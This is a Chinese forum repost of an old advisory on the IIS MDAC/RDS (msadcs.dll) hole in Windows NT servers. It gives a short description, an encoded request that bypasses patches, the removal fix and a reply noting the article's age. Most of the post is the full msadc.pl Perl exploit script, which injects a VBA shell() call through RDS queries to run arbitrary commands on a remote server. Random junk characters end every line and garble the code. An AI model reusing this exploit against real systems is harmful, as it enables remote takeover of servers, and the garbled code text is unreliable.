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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ] QJ7q}  
O+t'E9Fa  
涉及程序: }(!3)k7*  
Microsoft NT server h059DiH  
>dnDN3x  
描述: uOPLJ?%  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 8aTo TA7JA  
?8YbTn1f)  
详细: ijmGk:L(  
如果你没有时间读详细内容的话,就删除: _|7bpt9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll mXI'=Vo!S  
有关的安全问题就没有了。 6L3i   
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 >aT~ G!y  
JZ/T:Hsh4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 *fI\|%K  
关于利用ODBC远程漏洞的描述,请参看: n( zzH  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )H+p6<  
W4=A.2[q  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 JhvT+"~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp  tk+4noA  
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这里不再论述。 a~Yq0d?`D  
%v[KLMo'(  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9>= S@hVMd  
bT`et*]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ^G NL:D%6d  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 36}&{A  
V0xO:7G^  
EAoq2_(`a  
#将下面这段保存为txt文件,然后: "perl -x 文件名" j:U6q,f]  
T>w;M?`9K  
#!perl 8Yf=)  
# cC9haxW  
# MSADC/RDS 'usage' (aka exploit) script EPU3Jban  
# [0lO0ik>G  
# by rain.forest.puppy .:=5|0m  
# rN'}IS@5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me \{= {{O  
# beta test and find errors! fa!8+kfi  
>^D5D%"  
use Socket; use Getopt::Std; FY pspv?4  
getopts("e:vd:h:XR", \%args); V^_U=Ed@M  
#lF 2q w  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; WTu!/J<\  
dte-2?%~j  
if (!defined $args{h} && !defined $args{R}) { f |NXibmP  
print qq~ V5p->X2#  
Usage: msadc.pl -h <host> { -d <delay> -X -v } IEY\l{s  
-h <host> = host you want to scan (ip or domain) YcW) D  
-d <seconds> = delay between calls, default 1 second Z61L;E  
-X = dump Index Server path table, if available XV1XzG#C  
-v = verbose `Dp4Z>| K  
-e = external dictionary file for step 5 f& Vx`oj  
&U\//   
Or a -R will resume a command session qUk-BG8^  
}O2P>Z?V  
~; exit;} p ^Y2A  
De<i 8/^=  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; GjbOc   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Kf`/ Gc!  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} [Xww`OUsh  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3e1%G#fu  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} [^gb6W9Y  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 68~5Dx  
f{h2>nEj \  
if (!defined $args{R}){ $ret = &has_msadc; m,&2s-v  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} *S'?u_Y7  
h$p}/A  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" oz7=1;r  
. "cmd /c "; Qjmo{'d  
$in=<STDIN>; chomp $in; z pg512\y  
$command="cmd /c " . $in ; {FR+a**  
9Dd`x7$ a  
if (defined $args{R}) {&load; exit;} g|M>C:ZT  
q s iV  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; z&z5EtFUTh  
&try_btcustmr; ,r;E[k@  
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print "\nStep 2: Trying to make our own DSN..."; K4b2)8  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; g`4WisL1n  
bjq.nn<=  
print "\nStep 3: Trying known DSNs..."; o)8VJ\ &  
&known_dsn; kArF Gb2c  
B.~[m}  
print "\nStep 4: Trying known .mdbs..."; rdH^"(  
&known_mdb; 0Z{u;FI  
DPfN*a-P(  
if (defined $args{e}){ d}wE4(]b  
print "\nStep 5: Trying dictionary of DSN names..."; EjP)e;  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } .2y @@g  
eF?jNO3  
print "Sorry Charley...maybe next time?\n"; K6,d{n  
exit; !8tqYY?>@\  
IiV]lxiE]  
############################################################################## QT4vjz+|  
WLH ;{  
sub sendraw { # ripped and modded from whisker &:~9'-O  
sleep($delay); # it's a DoS on the server! At least on mine... B^.:dn  
my ($pstr)=@_; .g_^! t  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || lYU?j|n  
die("Socket problems\n"); df/7u}>9  
if(connect(S,pack "SnA4x8",2,80,$target)){ zUWeOR'X  
select(S); $|=1; nLR   
print $pstr; my @in=<S>; % @!hf!  
select(STDOUT); close(S); h<7@3Ur  
return @in; zr wzI+4  
} else { die("Can't connect...\n"); }} zuF]E+  
Mtn{63cK  
############################################################################## uJa.]J~L=  
<&HHo>rl  
sub make_header { # make the HTTP request ]+>Kl>@  
my $msadc=<<EOT ek d[|g  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 xu@xP5GB^  
User-Agent: ACTIVEDATA WA5.qw  
Host: $ip wdIJ?\/763  
Content-Length: $clen rj/nn)vv;  
Connection: Keep-Alive 31N5dIi,  
fn8|@)J  
ADCClientVersion:01.06 w8F`RRHEE  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 'fZ\uMdTx  
Gsy'':u  
--!ADM!ROX!YOUR!WORLD! ^~s!*T)\  
Content-Type: application/x-varg 6 kD.  
Content-Length: $reqlen NleMZ  
o bGvd6\  
EOT $&sV.fGu  
; $msadc=~s/\n/\r\n/g; M2nUY`%#v  
return $msadc;} w`atk=K  
J 2k4k  
############################################################################## 28j/K=0(  
)GOio+{H  
sub make_req { # make the RDS request =+H,}  
my ($switch, $p1, $p2)=@_; QFFFxaeJg  
my $req=""; my $t1, $t2, $query, $dsn; ^ZFK:|Ju  
[4+I1UR`  
if ($switch==1){ # this is the btcustmr.mdb query #Vy:6O  
$query="Select * from Customers where City=" . make_shell(); b`;Cm)@X!)  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . GyfKSj;  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} m@YK8 c#$  
!P gwFJ  
elsif ($switch==2){ # this is general make table query hJ75(I *j  
$query="create table AZZ (B int, C varchar(10))"; 5+t$4N+P  
$dsn="$p1";} %0'7J@W  
(/ -90u  
elsif ($switch==3){ # this is general exploit table query sYB2{w   
$query="select * from AZZ where C=" . make_shell(); Dn`  
$dsn="$p1";} z~ua#(z1S  
S$4 6YQ  
elsif ($switch==4){ # attempt to hork file info from index server PgsG*5WQ  
$query="select path from scope()"; ^JGwCHeb|H  
$dsn="Provider=MSIDXS;";} H!|g?"C  
wGWv<<Qw"  
elsif ($switch==5){ # bad query |3>%(4 OS  
$query="select"; %8>0;ktU  
$dsn="$p1";} t(}g;O-  
i;\n\p1  
$t1= make_unicode($query); orAr3`AR3  
$t2= make_unicode($dsn); p[}~Z|(  
$req = "\x02\x00\x03\x00"; Ao\Im(?  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8 EU/}Ym  
$req.= "\x00\x00" . $t1 ; ,x?Jrcx~'C  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5>hXqNjP2  
$req.= "\x00\x00" . $t2 ; @QE&D+NS  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; yTf/]H]d  
return $req;} vi` VK&+r  
uvi&! )x  
############################################################################## g"\J iBb5  
H(Y1%@  
sub make_shell { # this makes the shell() statement T=CJUla  
return "'|shell(\"$command\")|'";} %eGI]!vf  
? U =Mdw  
############################################################################## >?.jN|  
AuY*x;~  
sub make_unicode { # quick little function to convert to unicode \uZ1Sl  
my ($in)=@_; my $out; f<y3/jl4  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } a3,A_M}M'  
return $out;} z`,dEGfh^  
j.c{%UYj  
############################################################################## D'#,%4P,e\  
`rV -,-r@  
sub rdo_success { # checks for RDO return success (this is kludge) ^?|d< J:{  
my (@in) = @_; my $base=content_start(@in); bk]g}s  
if($in[$base]=~/multipart\/mixed/){ E`]un.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 7Dw. 9EQ  
return 0;} 2 ]n4)vv,  
+`!>lo{X  
############################################################################## j|{ n?  
ULO_?4}B  
sub make_dsn { # this makes a DSN for us _>3#dk  
my @drives=("c","d","e","f"); $"va8,  
print "\nMaking DSN: "; *;Z a))  
foreach $drive (@drives) { uUe#+[bD  
print "$drive: "; %CqG/ol  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . _|#P~Ft  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" x@D> JG  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Hm+VGH'H?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; )S}.QrG  
return 0 if $2 eq "404"; # not found/doesn't exist 0v``4z2Z  
if($2 eq "200") { w|4CBll  
foreach $line (@results) { g"`jWSt7Q  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ,l.+$G  
} return 0;} [7  t  
C8=rsh  
############################################################################## /l8w b~vl  
l~[ K.p&  
sub verify_exists { 7/K'nA  
my ($page)=@_; n*TKzn4E  
my @results=sendraw("GET $page HTTP/1.0\n\n"); l9 n$cv^  
return $results[0];} F2Gg_u@7M  
Vddod  
############################################################################## XANJA  
3ouo4tf$H.  
sub try_btcustmr { V7vojm4 O  
my @drives=("c","d","e","f"); ] #7baZ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Q |hBGH9:B  
5@n|uJA  
foreach $dir (@dirs) { :*-O;Yw?S@  
print "$dir -> "; # fun status so you can see progress !uA'0U?ky  
foreach $drive (@drives) { {mLv?"M]  
print "$drive: "; # ditto .(s@{=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; =6N=5JePB  
$reqlenlen=length( "$reqlen" ); fc4jbPp:M  
$clen= 206 + $reqlenlen + $reqlen; +e#(p<  
Iz&d S?p_  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?"kU+tCxg  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} S_s;foT  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} L!fIAd`  
X5= Ki $+  
############################################################################## [ C!m,4  
X?]Mzcu  
sub odbc_error { I<" UQ\)  
my (@in)=@_; my $base; iZ0(a   
my $base = content_start(@in); |w-s{L3@+  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this rEWuWv$  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; nN>Uh T  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2#8PM-3"  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {;o54zuKf  
return $in[$base+4].$in[$base+5].$in[$base+6];} D\E"v,Y\+O  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Kr`.q:0GK  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . S+?*l4QK  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} I/gfsyfA  
7 ,Q7`}gBf  
############################################################################## |aj]]l[@S  
H~:g =Zw  
sub verbose { }ee3'LUPX  
my ($in)=@_; j`_Z`eG  
return if !$verbose; 9h<iw\ $'  
print STDOUT "\n$in\n";} iztgk/(+G  
!Wy&+H*0  
############################################################################## mn(MgJKQ\  
|=W>4>  
sub save { [P]M)vJ**  
my ($p1, $p2, $p3, $p4)=@_; 3Qp6$m  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; c~6ywuq+M`  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; I,V'J|=j  
close OUT;} $>Gf;k  
[3qJUJM  
############################################################################## >f;oY9 {m  
BJqb'H jd  
sub load { }}wSns  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; [mF=<G"  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); [Uj,, y.wB  
@p=<IN>; close(IN); :4pO/I ~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); N8!e(Y K_  
$target= inet_aton($ip) || die("inet_aton problems"); r)<n)eXeD  
print "Resuming to $ip ..."; aZmbt,.V  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; {q&A/  
if($p[1]==1) { p4K 8L'nZ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; @s\}ER3  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; =4Jg6JKYg  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 2O2d*Ld>  
if (rdo_success(@results)){print "Success!\n";} rNgAzH  
else { print "failed\n"; verbose(odbc_error(@results));}} ~\zIb/ #  
elsif ($p[1]==3){ QdIoK7J 9  
if(run_query("$p[3]")){ zeH=py[n  
print "Success!\n";} else { print "failed\n"; }} fJi?~[5<  
elsif ($p[1]==4){ .o8pC  
if(run_query($drvst . "$p[3]")){ 0IsnG?"  
print "Success!\n"; } else { print "failed\n"; }} /FcwsD\=$  
exit;} r?`7i'  
jQ(%LYX$  
############################################################################## /!y3ZzL  
3W3d $  
sub create_table { H$&P=\8n  
my ($in)=@_; lPz5.(5'  
$reqlen=length( make_req(2,$in,"") ) - 28; =.9tRq  
$reqlenlen=length( "$reqlen" ); 6|1#Prj  
$clen= 206 + $reqlenlen + $reqlen; ~SEIIq  
my @results=sendraw(make_header() . make_req(2,$in,"")); ~$bQ;`,L  
return 1 if rdo_success(@results); ,qhv(  
my $temp= odbc_error(@results); verbose($temp); 24Htr/lPCT  
return 1 if $temp=~/Table 'AZZ' already exists/; +R31YR8C0  
return 0;} ZaFqGcS~  
eh3CVgH91;  
############################################################################## 11JO[  
o7g6*hJz  
sub known_dsn { [+:KIW<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go r\|"j8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", XP65  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", @2 SL$0!QA  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); utw@5  
q,j` _ R4  
foreach $dSn (@dsns) { 4_\]zhS  
print "."; vpk~,D07yR  
next if (!is_access("DSN=$dSn")); Zr;(a;QKs  
if(create_table("DSN=$dSn")){ l3kBt-m  
print "$dSn successful\n"; ' @j8tK  
if(run_query("DSN=$dSn")){ Oin:5K)4-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { +L#):xr  
print "Something's borked. Use verbose next time\n";}}} print "\n";} uTP4r  
Y F W0  
############################################################################## %W$?*Tm  
6r)qM)97  
sub is_access { 1;+(HB  
my ($in)=@_; q5~fU$ ,  
$reqlen=length( make_req(5,$in,"") ) - 28; 1)M%]I4  
$reqlenlen=length( "$reqlen" ); ]&L[]  
$clen= 206 + $reqlenlen + $reqlen; nZUBblRJ)  
my @results=sendraw(make_header() . make_req(5,$in,"")); >@^j9{\  
my $temp= odbc_error(@results); )W![TIp  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); .fS1  
return 0;} Lmyw[s\U  
1 BVpv7@  
############################################################################## ;#?+i`9'q  
f@IL2DL}\  
sub run_query { :*lB86Ly  
my ($in)=@_; VW9BQs2w  
$reqlen=length( make_req(3,$in,"") ) - 28; LtBm }0  
$reqlenlen=length( "$reqlen" ); f.u[!T  
$clen= 206 + $reqlenlen + $reqlen; I*8_5?)g<  
my @results=sendraw(make_header() . make_req(3,$in,"")); a~[]Ye@H  
return 1 if rdo_success(@results); 26c1Yl,DMn  
my $temp= odbc_error(@results); verbose($temp); C8 2lT_7"  
return 0;} [Uu!:SZ  
*:V"C\`^n  
############################################################################## aAkO>X%[  
1He'\/#  
sub known_mdb { RIxGwMi%  
my @drives=("c","d","e","f","g"); *AN2&>Y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jo=,j/,l  
my $dir, $drive, $mdb; {2%@I~US  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _{'HY+M  
JxLD}$I  
# this is sparse, because I don't know of many \9dC z;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", V9kL\Ys  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", dg42K`E  
"\\system32\\certmdb.mdb", nc%ly *  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% c- ^\YSDMN  
o@G <[X|ke  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", _zj}i1!E"  
"\\cfusion\\cfapps\\forums\\forums_.mdb", LP:C9 Ol\  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", !/MHD  
"\\cfusion\\cfapps\\security\\realm_.mdb", m.N/g,  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", lO0 PZnW9  
"\\cfusion\\database\\cfexamples.mdb", Z"G@I= Q(  
"\\cfusion\\database\\cfsnippets.mdb", KA$l.6&d  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", NFcMh+qnK  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  zWIC4:  
"\\cfusion\\brighttiger\\database\\cleam.mdb", l]o&D))R  
"\\cfusion\\database\\smpolicy.mdb", }x1p~N+;  
"\\cfusion\\database\cypress.mdb", "5R8Zl+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", %8yX6`lH  
"\\website\\cgi-win\\dbsample.mdb", P$i?%P~  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |^E# cI  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" z,B'I.)M  
); #these are just !B{N:?r  
foreach $drive (@drives) { CEos`  
foreach $dir (@dirs){ D +vHl}  
foreach $mdb (@sysmdbs) { E`SFr  
print "."; 3pKr {U92  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ?$xZ$zW  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3YF*TxKx  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 2@S{e$YK`  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; CvtG  
} else { print "Something's borked. Use verbose next time\n"; }}}}} &Q"Ox{~W  
'\X<+Sm'  
foreach $drive (@drives) { ef=LPCi?  
foreach $mdb (@mdbs) { VZ8HnNAbX  
print "."; Ni[2 p  
if(create_table($drv . $drive . $dir . $mdb)){ s9Aq-N  
print "\n" . $drive . $dir . $mdb . " successful\n"; YS5Pt)?  
if(run_query($drv . $drive . $dir . $mdb)){ 29E9ZjSK  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; NPM}w!  
} else { print "Something's borked. Use verbose next time\n"; }}}} Vee`q.  
} D=nuK25  
'WG%O7s.  
############################################################################## QNH5Cq;Y  
Dh|8$(Jt  
sub hork_idx { wZm=h8d  
print "\nAttempting to dump Index Server tables...\n"; 3g]Sp/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; fhAK^@h  
$reqlen=length( make_req(4,"","") ) - 28; |:i``gFj  
$reqlenlen=length( "$reqlen" ); @^$Xy<x  
$clen= 206 + $reqlenlen + $reqlen; 6 2r%q^r`i  
my @results=sendraw2(make_header() . make_req(4,"","")); ;Qc_Tf=,  
if (rdo_success(@results)){ =MqefV;-  
my $max=@results; my $c; my %d; b;O|-2AR  
for($c=19; $c<$max; $c++){ vH+QI  
$results[$c]=~s/\x00//g; *@r)3  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; q|. X[~e|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; D@(Y.&_  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; -$4#eG%3  
$d{"$1$2"}="";} DM%4 V|F"  
foreach $c (keys %d){ print "$c\n"; } bb6J$NR  
} else {print "Index server doesn't seem to be installed.\n"; }} el*C8TWlw  
?2;r#)  
############################################################################## E,nC}f  
7)NQK9~  
sub dsn_dict { A({8p  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ruLi "d  
while(<IN>){ KF|<A@V  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; AopC xaJ`  
next if (!is_access("DSN=$dSn")); ui,#AZQ#{4  
if(create_table("DSN=$dSn")){ [*O#6Xu  
print "$dSn successful\n"; Kd _tjWS  
if(run_query("DSN=$dSn")){ )} y1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { eXI^9uH  
print "Something's borked. Use verbose next time\n";}}} uJ4RjLM`  
print "\n"; close(IN);} L "L@4 B  
zhI} p.  
############################################################################## "|S \J5-%  
aUN!Sd2,  
sub sendraw2 { # ripped and modded from whisker =3J &UQL  
sleep($delay); # it's a DoS on the server! At least on mine... t>h<XPJi  
my ($pstr)=@_; SR#X\AWM  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || "]ow1{  
die("Socket problems\n"); -So&?3,\A@  
if(connect(S,pack "SnA4x8",2,80,$target)){ '~3a(1@8  
print "Connected. Getting data"; :cmfy6h]  
open(OUT,">raw.out"); my @in; 8Vj]whE  
select(S); $|=1; print $pstr; h*f=  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -bK#&o,  
close(OUT); select(STDOUT); close(S); return @in; iO;q]  
} else { die("Can't connect...\n"); }} X 5LI  
z./M^7v?  
############################################################################## ;6I{7[  
 ] }XK  
sub content_start { # this will take in the server headers rHu  #  
my (@in)=@_; my $c; h1Ca9Z_  
for ($c=1;$c<500;$c++) { yG5T;O&  
if($in[$c] =~/^\x0d\x0a/){ "PBUyh-Z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 'g8~539{&  
else { return $c+1; }}} SnRTC<DDh  
return -1;} # it should never get here actually i8w(G<Y=  
_^'fp  
############################################################################## \. A~>=:  
MEbx{XC  
sub funky { W xyQA:3s  
my (@in)=@_; my $error=odbc_error(@in); t i)foam  
if($error=~/ADO could not find the specified provider/){ e*e}X&|(g  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 2Av3.u8%u  
exit;} Ud0%O  
if($error=~/A Handler is required/){ P.P3/,  
print "\nServer has custom handler filters (they most likely are patched)\n"; '}*5ee](S  
exit;} rp.S4;=Q9  
if($error=~/specified Handler has denied Access/){ >b#z o,  
print "\nServer has custom handler filters (they most likely are patched)\n"; qx<`Kc4  
exit;}} lztPexyXZ  
lcij}-z:%e  
############################################################################## 3ryIXC\v  
2>#Pt^R:C  
sub has_msadc { wHk4BWg-  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); m,v"N%k,  
my $base=content_start(@results); G6xdGUM  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); EN()dCQHr  
return 0;} BclZsU=xn  
E27wxMU  
######################## N\Bygjw|  
o;mXk2  
B2%)G$B  
解决方案:  ;uNcrv0J  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll t<9oEjk["  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 <0vQHND,3  
Eu\&}n`i  
拿出来充数 哈哈
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